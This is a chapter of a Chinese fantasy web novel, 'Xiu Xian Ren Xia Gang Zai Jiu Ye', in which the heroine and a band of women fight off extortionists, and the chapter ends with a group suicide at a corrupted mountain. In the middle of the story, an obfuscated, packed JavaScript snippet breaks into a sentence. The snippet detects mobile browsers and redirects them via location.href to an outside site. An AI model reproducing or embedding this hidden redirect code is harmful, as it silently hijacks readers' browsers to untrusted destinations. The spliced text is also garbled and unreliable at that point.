79. 大林木(二)
作品:《修仙人下岗再就业》 “大家有钱的捧个钱场,没钱的留个人吧!”
麻绳专挑细处断,厄运专找苦命人。
邹旎身边经过了一小撮带着家当行李,风尘仆仆地不知道要前往何处的老弱妇孺,她看着她们听到那声音便如同惊弓之鸟般的身影,半晌才将眼神匀给了面前拦路的一小拨破皮无赖。
“你们大包小包的要上哪儿去?来来来,别磨蹭了,说说上供了没?”领头的将环首刀撑在身前,嘴里混不吝地叼了一根茅草杆儿,站在原地,双脚还不老实地从已经不知穿了多少年月没换过的鞋里伸出来,左脚摩挲着右腿。
邹旎看着直皱眉,下意识地屏住呼吸,生怕吸一口生化武器。
“钱我们上个月交过了,多的再没有了。”邹旎被裹挟在这一群老弱妇孺里有些扎眼,因为旁的妇人要牵顾孩子,拉着不高小孩儿的手微微屈身,尽量不让对面的人发现她们,而老妪呢,又因为岁数大了,背已经直不起了,方才说话的便是一位老妪,她倒是不惧,但说完方才那句话再多的勇气也消磨殆尽了。
“上月的交完,这月就不用交了?你以为你们躲在那边境就不用交保护费了?等死都轮不上你们,快快快,首饰啊棺材本啊或者......贴身的衣物,要是够香,小爷我们也尽可以笑纳了。”带头的那位说完这句,便要上前来上手,身后的一群人嘻嘻哈哈地喝起彩,有几位年轻姑娘和妇人的脸已经很难看了,有些新妇慌张地将自家孩子的耳朵捂起来,生怕对面的肮脏传染过来。
虽然来找事的几位都不是什么牛高马大之徒,但是周围围观的甚至没有一个愿意上前来帮忙,或许这些乌合之众已经在此地猖狂已久,泼皮好收拾但难缠,因此大家才选择冷漠吧,亦或者是......这个地方本身就有古怪,例如这家家户户蒙起来的布,还有漫天飘散的粉尘,在这里待的越久,邹旎越觉得从内心生起的浮躁感挥之不去,一开始她以为是祁霁带来的愤怒,可是渐渐她察觉到不对劲,这个地方就如同一个欲望横生的染缸,在逐渐将她上色。
邹旎闭了闭眼,将匕首从身后拿出来,小首领逼停这些人的时候一眼就看到了人群中的邹旎,虽然对方没有佩剑,但身上的衣裳却是修士服饰,孰轻孰重他还是有脑子的,只希望这个女修士不要不自量力坏他好事。
于是他将腆着个大脸将头伸向早已物色好的一位美妇人,一边靠近鼻子还要嗅闻着,同时将手伸出,下流之意显显。
“划拉”一声,是衣裳被割破的声音,所有人眼睁睁地瞧到,那打头的小人左脸从眉毛到下颌处,一道深可见骨的伤口贯穿半张脸。
大家先听到了衣裳划破的声音,后才听到那人的尖叫。
邹旎这段时间起早贪黑练功,就是为了当她有能力挺身而出的时候不再为担忧自己能力不够而懊悔。
每个人都要强大自己,才能在所有背叛与欺骗还有伤害袭来之时,在惊涛骇浪中稳住自己。
“管好你的蹄子,还有你算哪根儿葱,这灵山一直是仙门直属管辖,你上这儿来收什么钱?”邹旎握着匕首的手,尾指处有些颤抖,但很快身旁老妪握住她另一只手,同时也拿出一把菜刀,原来她们也一直暗暗准备着,给了自己在该讨公道的时候足够的底气。
“他娘的,你个小贱人!”小首领成功破了相,声音撕裂地怒吼,“兄弟们抄家伙上!让一群儿娘们儿骑到了我们的头上?这还得了!”
他话音刚落,那些小混混立马穿上鞋,就冲了过来,但是这边也毫不示弱,每个人甚至小娃手里都拿着一个能打架的武器,妇人取了簪子专往那些人皮肉薄的地方扎,老妪拿着菜刀往他们脚上砍。
忍无可忍那便无需再忍,邹旎盘起来的头发都乱了,每个人蓬头垢面咬着牙与那些小人对抗,邹旎在这一圈人里算是个半路出家的修士,体力最强,招式杂糅,但也将几个混混揍得爹娘不认,同时也腹背受敌,身上的血越来越多。
最后一个活人跪在地上,满身是血地奋笔疾书着,他嘴角的血和眼角的泪都还在流,祁霁好整以暇地擦了擦自己的脸,看到满手的血时轻微地叹了一口气,想必此刻脸上的颜色好不到哪里去,幸好没叫那位宿主跟过来,否则这样肮脏的场景她怎么见得。
“把罪行一字一句地写清楚,有一点对不上,你可就没了全尸了。”祁霁越擦越多,索性不擦了,看着面前那人哆哆嗦嗦地绞尽脑汁想自己的罪。
所谓怕见的是怪,难躲的是债,善恶到头终有报,只争老早与来迟。
“是是是,白目星君,我肯定按照您的要求,我只求......”说话之人涕泗横流,此刻他才知道有些仇是根深蒂固的,没有报应在前人身上,只能应在他们儿孙之上,“我只求......能放过我妻儿老小。”
祁霁听到此话仿佛有些不耐烦,“自然,冤有头债有主,你要怪就怪你命不好。”
邹旎满身血满脸血地坐在那硝烟弥漫的地上,经过大家一致的拼命,那几个破皮无赖终于察觉到了这是一块儿硬骨头,灰溜溜地跑了,鞋都丢了一地。
她原本灰扑扑的裙袍此刻变得分外脏了,血迹混杂着尘土,整个衣裳已经没法看了。
此时旁边一群刚酣战完的人群中,一位老妪上前向她走来,她将她随身带着的包裹郑重地放在胸前,准备打开,邹旎意识到刚才这一阵撕打,这个包裹都没沾上什么灰尘,想必混战之时都护的小心与仔细,不知道老妪要做什么,她便好奇地看向对方。
只见她缓缓地从包裹里拿出了一套一身衣裳。是一身暗黄色的质朴裙衫,老妪将邹旎乱糟糟的头发顺了顺,随后将那件她很宝贵的衣服披在邹旎身上。
她心疼地摸了摸邹旎的脸,将上面已经干涸的血迹抹去,露出地下的一张秀气的脸,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560932|166086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心疼地说道:“乖孩子,怎么弄得这么脏啊。”
邹旎怔怔地抬起头,鼻尖一酸眼泪不知为何不争气地掉落下来,老妪一见她哭了,便温声道,“这是我给姑娘做的衣裳,她不在了,你别嫌弃,这是新的,她......没来得及穿。”
邹旎闻言哭得更凶了,她说出了一句没头没尾的话,“我......我这一辈子该怎么活下去呢?”老妪虽不知道她为何突然哭得这样凶,眼泪止不住地流向下巴,但她能看到那眼中的迷惘与伤感浓烈得使人怜惜,于是伸出手将她和她背上的衣裳都一并搂入怀中,“好好活下去啊,快离开这里吧,这儿是个吃人的地方。”
等邹旎止住了眼泪,老妪松开她,轻柔地给她道,“匕首终究短了些,从那个巷子进去,有个打铁的铺子,去打一把你的剑,我就要走了。”
邹旎拉住对方,看到方才的那些人都在前面等待老妪,她疑惑问道,“你们要去哪儿?”
老妪笑了笑,“我们要去‘活着’了。”
说罢她带着释然的笑,前往去灵山的那条路上,那些人的脸上都带着不自然但却美好的笑容,邹旎恍惚间觉得一切都是那样的不真实。
但是......身上的这件衣裳却是真正存在着。
老妪追上了赶路的人群,她笑着摇了摇头,那孩子多像她的姑娘啊,拿匕首挺身而出的时候简直就像一位从天而降的女侠,无知无畏。
“奶奶,快解放了,就在前面了。”一旁的妇人脸上带着笑对老妪说。
“真好,走前还能再见一面我姑娘,老天爷待我不薄。”老妪笑道。
身旁的几位妇人一个劲儿地称赞她,“奶奶,真是有福,这姑娘我瞧着像巧巧,若是有来世,你们再做母女。”
谁知老妪此时摆了摆手,“不了,不了,我希望她再不要来了,多遭罪啊。”
她说完这句话,一旁的人也都住了嘴。
她们又走了一会儿,老妪终于抬起头望见了那巍峨的、高耸入云的灵山,她轻声对大家道:“好了,到了。”
若是不明所以的人来到这里定会被吓到,因为这座山的周围全是一圈一圈跪在原地祈祷的人们,这里的粉尘最多也最浓厚,但是这些人都没有察觉,他们高举双手,用朝拜的心沐浴着庞大的欲望,整个人充满欲望后又被灵山吸走,无穷无尽。
摇摇欲坠的灵山终于还是变了最初的模样,整座山散发着弥久不散的黑气,挥发着欲望的粉尘,将每个人骗到此处供养它养料,无穷的欲望裹挟着生气成为灵山最后一丝能够获取的来源——它已经千疮百孔,命不久矣。
老妪和跟着她来的妇人们相视一笑后,下一秒猛地撞向了灵山那坚韧的如同铜墙铁壁般的保护罩上,鲜血迸射,但每个人的脸上都挂着笑。
后来的朝圣者一脸冷漠地踢开她们的身体,随即跪了下来。